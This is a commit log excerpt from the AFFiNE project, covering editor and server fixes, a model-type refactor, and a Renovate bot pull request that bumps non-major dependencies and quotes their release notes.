a47369bf9b feat(editor): ai panel supports displaying table blocks (#10091) 2025-02-11 10:28:56 +00:00
fengmk2
7840e0f900 fix(server): don't set the wrong context on logger (#10088)
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/c84ca60c-2837-43ba-a32c-0db1a87a5062.png)
2025-02-11 10:12:56 +00:00
zzj3720
4b8ff6b196 fix(editor): table block cell width adjust (#10087) 2025-02-11 09:56:25 +00:00
Saul-Mirone
652865c7cf refactor(editor): remove global types in model (#10082)
Closes: [BS-2249](https://linear.app/affine-design/issue/BS-2249/remove-global-types-in-model)

```ts
// before
matchFlavours(model, ['affine:page']);
// after
matchFlavours(model, [PageBlockModel]);
```
2025-02-11 08:18:57 +00:00
renovate
64bb6c5a71 chore: bump up all non-major dependencies (#10066)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.2.15` -> `7.2.16`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.2.15/7.2.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.2.15/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.2.15/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@react-email/components](https://redirect.github.com/resend/react-email) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/components)) | [`0.0.32` -> `0.0.33`](https://renovatebot.com/diffs/npm/@react-email%2fcomponents/0.0.32/0.0.33) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@react-email%2fcomponents/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@react-email%2fcomponents/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@react-email%2fcomponents/0.0.32/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@react-email%2fcomponents/0.0.32/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | [`4.0.5` -> `4.0.6`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.0.5/4.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tailwindcss%2fpostcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tailwindcss%2fpostcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tailwindcss%2fpostcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tailwindcss%2fpostcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.8` -> `1.1.9`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.8/1.1.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.8/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.8/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [cloudflare/wrangler-action](https://redirect.github.com/cloudflare/wrangler-action) | `v3.13.1` -> `v3.14.0` | [![age](https://developer.mend.io/api/mc/badges/age/github-tags/cloudflare%2fwrangler-action/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/github-tags/cloudflare%2fwrangler-action/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/github-tags/cloudflare%2fwrangler-action/v3.13.1/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/cloudflare%2fwrangler-action/v3.13.1/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | action | minor |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`17.0.2` -> `17.0.3`](https://renovatebot.com/diffs/npm/happy-dom/17.0.2/17.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/17.0.2/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/17.0.2/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.11.3` -> `2.12.0`](https://renovatebot.com/diffs/npm/jotai/2.11.3/2.12.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.11.3/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.11.3/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.474.0` -> `^0.475.0`](https://renovatebot.com/diffs/npm/lucide-react/0.474.0/0.475.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [mdast-util-gfm-footnote](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote) | [`2.0.0` -> `2.1.0`](https://renovatebot.com/diffs/npm/mdast-util-gfm-footnote/2.0.0/2.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/mdast-util-gfm-footnote/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/mdast-util-gfm-footnote/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/mdast-util-gfm-footnote/2.0.0/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mdast-util-gfm-footnote/2.0.0/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.1.2` -> `5.2.0`](https://renovatebot.com/diffs/npm/nestjs-cls/5.1.2/5.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.1.2/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.1.2/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [once_cell](https://redirect.github.com/matklad/once_cell) | `1.20.2` -> `1.20.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [postcss](https://postcss.org/) ([source](https://redirect.github.com/postcss/postcss)) | [`8.5.1` -> `8.5.2`](https://renovatebot.com/diffs/npm/postcss/8.5.1/8.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/postcss/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/postcss/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/postcss/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/postcss/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-email](https://redirect.github.com/resend/react-email) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/react-email)) | [`3.0.6` -> `3.0.7`](https://renovatebot.com/diffs/npm/react-email/3.0.6/3.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-email/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-email/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-email/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-email/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.5` -> `4.0.6`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.5/4.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.5` -> `4.0.6`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.5/4.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.23.0` -> `8.24.0`](https://renovatebot.com/diffs/npm/typescript-eslint/8.23.0/8.24.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.23.0/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.23.0/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [uniffi](https://mozilla.github.io/uniffi-rs) ([source](https://redirect.github.com/mozilla/uniffi-rs)) | `0.28` -> `0.29` | [![age](https://developer.mend.io/api/mc/badges/age/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |

---

### Release Notes

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.16`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.15...7.2.16)

</details>

<details>
<summary>resend/react-email (@&#8203;react-email/components)</summary>

### [`v0.0.33`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/components/CHANGELOG.md#0033)

[Compare Source](https://redirect.github.com/resend/react-email/compare/@react-email/components@0.0.32...@react-email/components@0.0.33)

##### Patch Changes

-   Updated dependencies \[[`caa49b3`](https://redirect.github.com/resend/react-email/commit/caa49b3)]
-   Updated dependencies \[[`337ac4e`](https://redirect.github.com/resend/react-email/commit/337ac4e)]
-   Updated dependencies \[[`b44c937`](https://redirect.github.com/resend/react-email/commit/b44c937)]
    -   [@&#8203;react-email/render](https://redirect.github.com/react-email/render)[@&#8203;1](https://redirect.github.com/1).0.5
    -   [@&#8203;react-email/body](https://redirect.github.com/react-email/body)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/button](https://redirect.github.com/react-email/button)[@&#8203;0](https://redirect.github.com/0).0.19
    -   [@&#8203;react-email/code-block](https://redirect.github.com/react-email/code-block)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/code-inline](https://redirect.github.com/react-email/code-inline)[@&#8203;0](https://redirect.github.com/0).0.5
    -   [@&#8203;react-email/column](https://redirect.github.com/react-email/column)[@&#8203;0](https://redirect.github.com/0).0.13
    -   [@&#8203;react-email/container](https://redirect.github.com/react-email/container)[@&#8203;0](https://redirect.github.com/0).0.15
    -   [@&#8203;react-email/font](https://redirect.github.com/react-email/font)[@&#8203;0](https://redirect.github.com/0).0.9
    -   [@&#8203;react-email/head](https://redirect.github.com/react-email/head)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/heading](https://redirect.github.com/react-email/heading)[@&#8203;0](https://redirect.github.com/0).0.15
    -   [@&#8203;react-email/hr](https://redirect.github.com/react-email/hr)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/html](https://redirect.github.com/react-email/html)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/img](https://redirect.github.com/react-email/img)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/link](https://redirect.github.com/react-email/link)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/markdown](https://redirect.github.com/react-email/markdown)[@&#8203;0](https://redirect.github.com/0).0.14
    -   [@&#8203;react-email/preview](https://redirect.github.com/react-email/preview)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/row](https://redirect.github.com/react-email/row)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/section](https://redirect.github.com/react-email/section)[@&#8203;0](https://redirect.github.com/0).0.16
    -   [@&#8203;react-email/tailwind](https://redirect.github.com/react-email/tailwind)[@&#8203;1](https://redirect.github.com/1).0.4
    -   [@&#8203;react-email/text](https://redirect.github.com/react-email/text)[@&#8203;0](https://redirect.github.com/0).0.11

</details>

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.0.6`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#406---2025-02-10)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.5...v4.0.6)

##### Fixed

-   Revert change to no longer include theme variables that aren't used in compiled CSS ([#&#8203;16403](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16403))

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.9`](https://redirect.github.com/toeverything/design/compare/1.1.8...1.1.9)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.8...1.1.9)

</details>

<details>
<summary>cloudflare/wrangler-action (cloudflare/wrangler-action)</summary>

### [`v3.14.0`](https://redirect.github.com/cloudflare/wrangler-action/releases/tag/v3.14.0)

[Compare Source](https://redirect.github.com/cloudflare/wrangler-action/compare/v3.13.1...v3.14.0)

##### Minor Changes

-   [#&#8203;351](https://redirect.github.com/cloudflare/wrangler-action/pull/351) [`4ff07f4`](4ff07f4310) Thanks [@&#8203;Maximo-Guk](https://redirect.github.com/Maximo-Guk)! - Use wrangler outputs for version upload and wrangler deploy

##### Patch Changes

-   [#&#8203;350](https://redirect.github.com/cloudflare/wrangler-action/pull/350) [`e209094`](e209094e62) Thanks [@&#8203;Maximo-Guk](https://redirect.github.com/Maximo-Guk)! - Handle failures in createGitHubDeployment and createGitHubJobSummary

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.3)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.2...v17.0.3)

##### 👷‍♂️ Patch fixes

-   Fix bug where nested query selector is not returning the correct result when there are multiple matching selectorGroups - By **[@&#8203;betterqualityassuranceuser](https://redirect.github.com/betterqualityassuranceuser)** in task 1720

</details>

<details>
<summary>pmndrs/jotai (jotai)</summary>

### [`v2.12.0`](https://redirect.github.com/pmndrs/jotai/compare/v2.11.3...v2.12.0)

[Compare Source](https://redirect.github.com/pmndrs/jotai/compare/v2.11.3...v2.12.0)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.475.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.475.0): New icons 0.475.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.474.0...0.475.0)

#### New icons 🎨

-   `circle-small` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars-stroke` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `non-binary` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `transgender` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus-and-mars` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)
-   `venus` ([#&#8203;2607](https://redirect.github.com/lucide-icons/lucide/issues/2607)) by [@&#8203;jamiemlaw](https://redirect.github.com/jamiemlaw)

</details>

<details>
<summary>syntax-tree/mdast-util-gfm-footnote (mdast-util-gfm-footnote)</summary>

### [`v2.1.0`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/releases/tag/2.1.0)

[Compare Source](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/compare/2.0.0...2.1.0)

##### Add

-   [`8499c82`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/commit/8499c82) Add `firstLineBlank` option

##### Types

-   [`93e4e11`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/commit/93e4e11) Refactor to use `@import`s
-   [`1dc664d`](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote/commit/1dc664d) Add declaration maps

**Full Changelog**: https://github.com/syntax-tree/mdast-util-gfm-footnote/compare/2.0.0...2.1.0

</details>

<details>
<summary>Papooch/nestjs-cls (nestjs-cls)</summary>

### [`v5.2.0`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.2.0)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@5.1.2...nestjs-cls@5.2.0)

Adds backward compatibility for NestJS 10

##### Dependencies

-   allow nestjs 10 as peer dependency ([b7057cb](https://redirect.github.com/Papooch/nestjs-cls/commits/b7057cb))

##### Features

-   **core**: automatically detect fastify and express versions ([45a1be3](https://redirect.github.com/Papooch/nestjs-cls/commits/45a1be3))

</details>

<details>
<summary>matklad/once_cell (once_cell)</summary>

### [`v1.20.3`](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

[Compare Source](https://redirect.github.com/matklad/once_cell/compare/v1.20.2...v1.20.3)

</details>

<details>
<summary>postcss/postcss (postcss)</summary>

### [`v8.5.2`](https://redirect.github.com/postcss/postcss/blob/HEAD/CHANGELOG.md#852)

[Compare Source](https://redirect.github.com/postcss/postcss/compare/8.5.1...8.5.2)

-   Fixed end position of rules with semicolon (by [@&#8203;romainmenke](https://redirect.github.com/romainmenke)).

</details>

<details>
<summary>resend/react-email (react-email)</summary>

### [`v3.0.7`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/react-email/CHANGELOG.md#307)

[Compare Source](https://redirect.github.com/resend/react-email/compare/react-email@3.0.6...react-email@3.0.7)

##### Patch Changes

-   [`c61760e`](https://redirect.github.com/resend/react-email/commit/c61760e): use the `punycode` package for the static modules
-   [`382c305`](https://redirect.github.com/resend/react-email/commit/382c305): Fixes active state for root email templats on file tree
-   [`519f0c6`](https://redirect.github.com/resend/react-email/commit/519f0c6): Respect user's NODE_ENV when previewing templates
-   [`e149816`](https://redirect.github.com/resend/react-email/commit/e149816): Upgrade socket.io to 4.8.1

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.24.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8240-2025-02-10)

[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.23.0...v8.24.0)

This was a version bump only for typescript-eslint to align it with other projects, there were no code changes.

You can read about our [versioning strategy](https://main--typescript-eslint.netlify.app/users/versioning) and [releases](https://main--typescript-eslint.netlify.app/users/releases) on our website.

</details>

<details>
<summary>mozilla/uniffi-rs (uniffi)</summary>

### [`v0.29.0`](https://redirect.github.com/mozilla/uniffi-rs/blob/HEAD/CHANGELOG.md#v0290-backend-crates-v0290---2025-02-06)

[Compare Source](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0)

##### ⚠️ Breaking Changes ⚠️

We've made a number of breaking changes to fix long standing paper-cuts with UniFFI in multi-crate and procmacro+udl environments.

[See the detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

While **no changes are required to foreign code**, we apologize for the inconvenience!

You are impacted if you use `UniffiCustomTypeConverter` to implement "Custom types",
or use UDL with types from more than one crate.

-   `UniffiCustomTypeConverter` has been removed, you must now use the
    [`custom_type!` macro](https://mozilla.github.io/uniffi-rs/next/types/custom_types.html) instead.

-   The [UDL syntax for external types](https://mozilla.github.io/uniffi-rs/next/udl/external_types.html) has changed.
    `typedef extern MyEnum;` has been replaced
    with `typedef enum MyEnum;`. `[Custom]` and `[External]` are the only supported  attributes for a `typedef`.

-   "remote" types (where UDL can re-export a type defined in
    a non-UniFFI crate - eg, `log::Level`) must now use a
    [`[Remote]` attribute](https://mozilla.github.io/uniffi-rs/next/types/remote_ext_types.html).

-   Various `use_udl_*`/`use_remote_type` etc macros have been removed.

[Detailed upgrade notes](https://mozilla.github.io/uniffi-rs/next/Upgrading.html)

-   `uniffi::generate_component_scaffolding` has been removed. It's almost certainly unused as it is
    behind the wrong feature and undocumented. `uniffi::generate_scaffolding` does exacly the same thing and is
    correctly behind the `build` feature.

##### What's new?

-   Kotlin and Swift follow Python: Proc-macros exporting an `impl Trait for Struct` block now has a class inheritance
    hierarcy to reflect that.
    [#&#8203;2297](https://redirect.github.com/mozilla/uniffi-rs/pull/2297), [#&#8203;2363](https://redirect.github.com/mozilla/uniffi-rs/pull/2363)

-   External types work much better, particularly between UDL and proc-macros. (Kotlin external errors do not work - [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392)).

-   Swift interfaces are marked as `Sendable` ([#&#8203;2318](https://redirect.github.com/mozilla/uniffi-rs/pull/2318))

-   Removed the `log` dependency and logging statements about FFI calls.  These were not really useful
    to consumers and could have high overhead when lots of FFI calls are made. Instead, the
    `ffi-trace` feature can be used to get tracing-style printouts about the FFI.

-   External errors work for Swift and Python. Kotlin does not work - see [#&#8203;2392](https://redirect.github.com/mozilla/uniffi-rs/issues/2392).

-   Added `disable_java_cleaner` option for kotlin to allow for Java 8 compatible code

-   Proc-macros now allow Enums to hold objects ([#&#8203;1372](https://redirect.github.com/mozilla/uniffi-rs/issues/1372))

-   Swift and Kotlin make it possible to opt-out of the runtime checksum integrity tests done as the library is initialized.
    Opting out will shoot yourself in the foot if you mixup your build pipeline in any way, but might speed the initialization.
    (Python apparently hasn't made these checks for some time, so no changes there!)

##### What's changed?

-   Switching jinja template engine from askama to rinja.

-   For `wasm32` build targets, `Future`s do not have to be `Send` ([#&#8203;2418](https://redirect.github.com/mozilla/uniffi-rs/pull/2418)),
    making them compatible with `wasm-bindgen` `Future`s.

##### ⚠️ Breaking Changes for external bindings authors ⚠️

-   Added the `FfiType::MutReference` variant.

-   `Callable` trait has changed, `return_type` and `throws_type` are now references.

-   `Type::External` has been removed. Binding authors must now check the type is local themselves before
    deciding to treat it as a local or external type.

    To get a feel for the impact on the bindings, see where we [first did this for custom types](c5a437e9f3),
    and where we [then stopped using it entirely](df514fd1cc)

[All changes in v0.29.0](https://redirect.github.com/mozilla/uniffi-rs/compare/v0.28.3...v0.29.0).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 07:59:25 +00:00
fengmk2
5a63bc0e53 feat(server): wrong context setting on doc publish (#10080)
context should be `WorkspaceDocResolver`

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/0826ced9-4955-45a4-b5e7-944ae898d45e.png)
